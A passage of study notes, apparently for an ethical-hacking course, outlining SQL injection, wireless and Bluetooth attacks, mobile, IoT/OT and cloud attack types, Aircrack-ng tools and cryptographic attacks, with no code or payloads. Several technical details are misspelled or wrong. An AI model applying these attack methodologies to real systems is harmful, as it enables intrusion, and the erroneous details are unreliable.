  - Manual
  - Automated
  - Static
  - Dynamic

Module 15 : SQL injection

- SQL injection :
  SQL injection is technique used to take advantage of un-sanitized input vulnerabilities to pass SQL commands through web application for execution by backend database.

- Types of SQL injection :
  - In-band SQL injection
  - Blind/inferential SQL injection
  - Out-of-band SQL injection

- In- band SQL injection :

Attacker use same communication channel to perform attack and retrieve the results.

- Types :
  - Error-based SQL injection
  - Tautology
  - System stored procedure

- Blind/inferential SQL injection :
  - No error message :
    Blind SQL injection is when web application is vulnerable to SQL injection but results of injection are not visible to attacker.

  - Generic page :
    Blind SQL injection is identical to normal SQL injection expect that generic custom page is displayed when an attacker attempts to exploit an application rather than seeing useful error message.

- Out-of-band SQL injection :
  In out-of-band SQL injection the attacker needs to communicate with server and acquire features of database server used by web app.

- SQL injection methodology :
  1. Information gathering & SQL injection vulnerability detection
  2. Launch SQL injection attacks
  3. Advanced SQL injection

- Information gathering :
  1. Check if web app connects to database server to access some data
  2. List all input field, hidden field, post requests whose values could be used in crafting an SQL query
  3. Attempt to inject codes into input field to generate error

- SQL injection block box pen testing :
  - Detecting SQL injection issues
  - Detecting input sanitization
  - Detecting truncation issues
  - Detecting SQL modification

Module 16 : Hacking wireless networks

- Wireless networks :
  Wireless networks refers to WLANs based on IEEE 802.11 standard, which allows device to access the network from anywhere within an AP range.

- Types of wireless antennas
  - Directional antenna
  - Omnidirectional antenna
  - Parabolic grid antenna
  - Yogi antenna
  - Dipole antenna
  - Reflector antenna

- Types of wireless encryption :
  - 802.11i
  - WPA2
  - WEP
  - AES
  - EAP
  - CCMP
  - LEAP
  - WPA2 enterprise
  - WPA
  - RADIUS
  - TKIP
  - PEAP
  - WPS3

- WEP (wired equivalent privacy) :
  WEP is security protocol defined by 802.11b standard if was designed to provide wireless LAN with level of security & privacy comparable to wired LAN.

- WPA (wifi protected access) :
  WPA is security protocol defined by 802.11i standards it uses Temporal key integrity protocol that utilizes RC4 stream cipher encryption with 128-bit keys and 64-bit MIC integrity check to provide stronger encryption and authentication.

- WPA2 :
  WPA2 is upgrade to WPA, and it includes mandatory support for counter mode with cipher block chaining message authentication code protocol (CCMP), an AES based encryption mode with strong security.

- WPA3 :
  WPA3 is advanced implementation of WPA2 providing trailblazing protocols and uses AES-GCMP 256 encryption algorithm.

- Wireless hacking methodology :
  1. Wifi discovery
  2. GPS mapping
  3. Wireless traffic analysis
  4. Launch wireless attacks
  5. Wifi encryption cracking
  6. Compromise wifi network

- Aircrack-ng suite :
  - Airebase-ng : captures KPA/WPA2 handshake and acts an ad-hoc AP.
  - Airecrack-ng : defactor WEP, WPA, WPA2-PSK cracking tool.
  - Airedcap-ng : decrypts WEP/WPA/WPA2 and can be used to strip wireless headers from wifi packets.
  - Airmon-ng : used to enable monitor mode on wireless interfaces from managed mode.
  - Airodump-ng : used to capture packets of raw 802.11 frames & collect WEP IVs.

- Bluetooth attacks :
  - Bluesmatching
  - Bluejacking
  - Bluesnarfing
  - Bluesniff
  - Bluebugging
  - Blueprinting
  - Btlejacking

Module 17 : Hacking mobile platforms

- Vulnerable areas in mobile business environment :
  Smartphones offer broad internet and network connectivity via different channel such as 3G/4G/5G, bluetooth, wifi, wired computer connection.

- Owasp top 10 mobile risks-2016 :

| | |
|---|---|
| M1 | Improper platform usage |
| M2 | Insecure data storage |
| M3 | Insecure communication |
| M4 | Insecure authentication |
| M5 | Insecure cryptography |

| | |
|---|---|
| M6 | Insecure authorization |
| M7 | Client code quality |
| M8 | Code tampering |
| M9 | Reverse engineering |
| M10 | Extraneous functionality |

- Agent smith attack :
  An agent smith attack is carried out by persuading victim to install malicious app designed and published by attacker.

- Simjacker :
  Simjacker is vulnerability associated with SIM cards S@T browser, a pre-installed s/w on SIM cards that is designed to provide set of instructions.

- OTP hijacking :
  Attackers hijack OTPs and redirect them to their personal devices using different techniques such as social engineering & SMS jacking.

- Cameral Microphone capture attacks :
  - Camfecting attack :
    Camfeeting attack is webcam capturing attack that is performed to gain access to camera of target's computer or mobile device.

- Android rooting :
  Rooting allows android users to attain privileged control within android's subsystem.

- IOS trustjacking :
  IOS trustjacking is vulnerability that can be exploited by an attacker to read messages and emails and capture sensitive information from remote location without victim knowledge.

- IOS malware :
  - No Reboot
  - Pegasus

Module 18 : IOT and OT hacking :

- IOT communication models :
  1. Device-To-Device model
  2. Device-To-Cloud model
  3. Device-To-Gateway model

4. Back End Data-sharing model

- Challenges of IOT :
  1. Lack of security and privacy
  2. Vulnerable web interfaces
  3. Legal, regularatory and right issues
  4. Coding errors
  5. Storage issues
  6. Physical theft and tampering

- Owasp tap 10 IOT threats :
  1. Weak, guessable or hardcoded passwords
  2. Insecure network services
  3. Insecure ecosystem interfaces
  4. Lack of secure update mechanisms
  5. Use of insecure of outdated components
  6. Insufficient privacy protection
  7. Insecure data transfer and storage
  8. Lack of device management
  9. Insecure default settings
  10. Lack of physical hardening

- IOT threats :
  IOT devices on internet have very few security protection mechanism against various emerging threats.
  1. DDOS attack
  2. Attack on HVAC system
  3. Rolling code attack
  4. Blueborne attack
  5. Jamming attack
  6. Remote access using backdoor
  7. Remote access using telnet

- IOT hacking methodology :
  1. Information gathering
  2. Vulnerability scanning
  3. Launch attacks
  4. Gain remote access
  5. Maintain access

- OT :
  Operational technology is software and hardware designed to direct or cause changes in industrial operations through direct monitoring and / or controlling of industrial physical devices.

- Challenges of OT :
  1. Lack of visibility
  2. Plain-text passwords
  3. Network complexity
  4. Legacy technology
  5. Lack of anti-virus protection
  6. Lack of skilled security professionals

- ICS :
  ICS is referred to as collection of different types of control system and their associated equipment such as systems, devices, networks and controls used to operate and automate several industrial process.

- OT vulnerability :
  1. Publically accessible OT systems
  2. Insecure remote connections
  3. Missing security updates
  4. Weak passwords
  5. Insecure firewall configuration

- OT threats :
  1. Maintenance & administrative threat
  2. Data leakage
  3. Protocol abuse
  4. Reconnaissance attack
  5. HMI-based attack

Module 19 : Cloud computing :

Cloud computing is an on-demand delivery of IT capabilities where IT infrastructure and applications are provided to subscribers as metered service over n/w.

- Characteristics of cloud computing :
  - On-demand self-service
  - Distributed storage
  - Rapid elasticity
  - Automated management

- Cloud development models :
  - Public cloud
  - Private cloud
  - Community cloud
  - Hybrid cloud
  - Multi cloud

- Cloud service providers :
  - Microsoft azure
  - Google cloud platform
  - Amazon web services
  - IBM cloud

- Container :

  A container is package of an application/software including all its dependencies such as library files, configuration files & other resources that run independently of other process in cloud environment.

- Docker :

  Docker is an open source technology used for developing, packaging and running application and all its dependencies in form of containers to ensure that application works in seamless environment.

- Serverless computing :

  Serverless computing also known as serverless architecture or function-as-a-service, is a cloud-based application architecture where application infrastructure and supporting services are provided by cloud vendor as they are needed.

- Wrapping attack :

  Wrapping attack is performed during translation of SOAP message in TLS layer where attackers duplicate body of message and sends it to server as legitimate user.

- Cloud Hopper attack :

  Cloud hopper attacks are triggered at managed service providers and their users.

- Cloud cryptojacking :

  Cryptojacking is unauthorized use of victim's computer to stealthy mine digital currency.

- Cloud borne attack :

  Cloud borne attack vulnerability residing in a bare-metal cloud server that enables attackers to implant a malicious backdoor in its firmware.

- Cloud snooper attack :

  Cloud snooper attacks are trigged at AWS security groups to compromise target server and extract sensitive data stealthily.

- S3 buckets :

  Simple storage service (S3) is scalable cloud storage service used by AWS where fires, folders, objects are stored via web APIS.

Module 20 : Cryptography

Cryptography is conversion of data into scrambled code that is encrypted and sent across private or public network.

- Ciphers :
  - DES
  - AES
  - RC4, RC5, RC6

  - Twofish : Twofish uses block size of 128 bits and key sizes up to 256 bits. It is a feistel cipher.

  - Threefish : Threefish is large tweakable symmetric-key block cipher in which block and key sizes are equal, i.e., 256, 512 & 1024.

- Message digest (one-way-hash) function :
  Hash functions calculate a unique fixed-size bit string representation called message digest of any arbitrary block of information.

- MD5, MD6 :
  MD5 algorithm takes arbitrary length as input and then outputs a 128-bit fingerprint or message digest.

- Secure hashing algorithm (SHA) :
  This hashing generates cryptographically secure one-way hash it was published by National Institute of standards & technology SHA-1, SHA-2, SHA-3.

- RIP EMD-160 :
  Race integrity primitives evaluation message digest (RIPEMD) is 160 bit hash algorithm developed by Hans Dobbertin & 2 more.

- HMAC :
  HMAC is type of message authentication code that combines cryptographic key with cryptographic hash function.

- Applications of cryptography-Blockchain :
  A blockchain also referred to as distributed ledger technology is used to record and store history of transactions in forms of blocks.

- PKI (public key infrastructure) :
  PKI is set hardware, software, people, policies and procedures required to create manage, distribute, use, store and revoke digital certificates.

- Digital signature :

  Digital signature uses asymmetric cryptography to simulate the security properties of signature in digital rather than written form.

- SSL (secure socket layer) :

  SSL is an application layer protocol developed by Netscape for managing the security of message transmission on internet.

- TLS (Transport layer security) :

  TLS is protocol to establish a secure connection between client and server and ensure privacy and integrity of information during transmission.

- Cryptography attacks :
  - Cipher-text-only attack
  - Adaptive chosen-plaintext attack
  - Chosen-plaintext attack
  - Related-key attack
  - Dictionary attack

- Birthday attack :

  A birthday attack is name used to refer to class of brute-force attacks against cryptographic hashes that make brute forcing easier.

- Side-channel attack :

  A side-channel attack is physical attack performed on cryptographic device/cryptosystem to gain sensitive information.

- Hash collision attack :

  A hash collision attack is performed by finding two different input messages that result in same hash output.

- DUHK attack :

  DUHK (don’t use Hard-coded keys) is cryptographic vulnerability that allows attacker to obtain encryption keys used to secure VPNs and web sessions.

- Rainbow table attack :

  A rainbow table attack is type of cryptography attack where attacker uses rainbow table to reverse cryptographic hash functions.

- Drown attack :

  A DROWN attack is cross-protocol weakness that can communicate and initiate an attack on servers that support recent SSLV3/TLS protocol suites.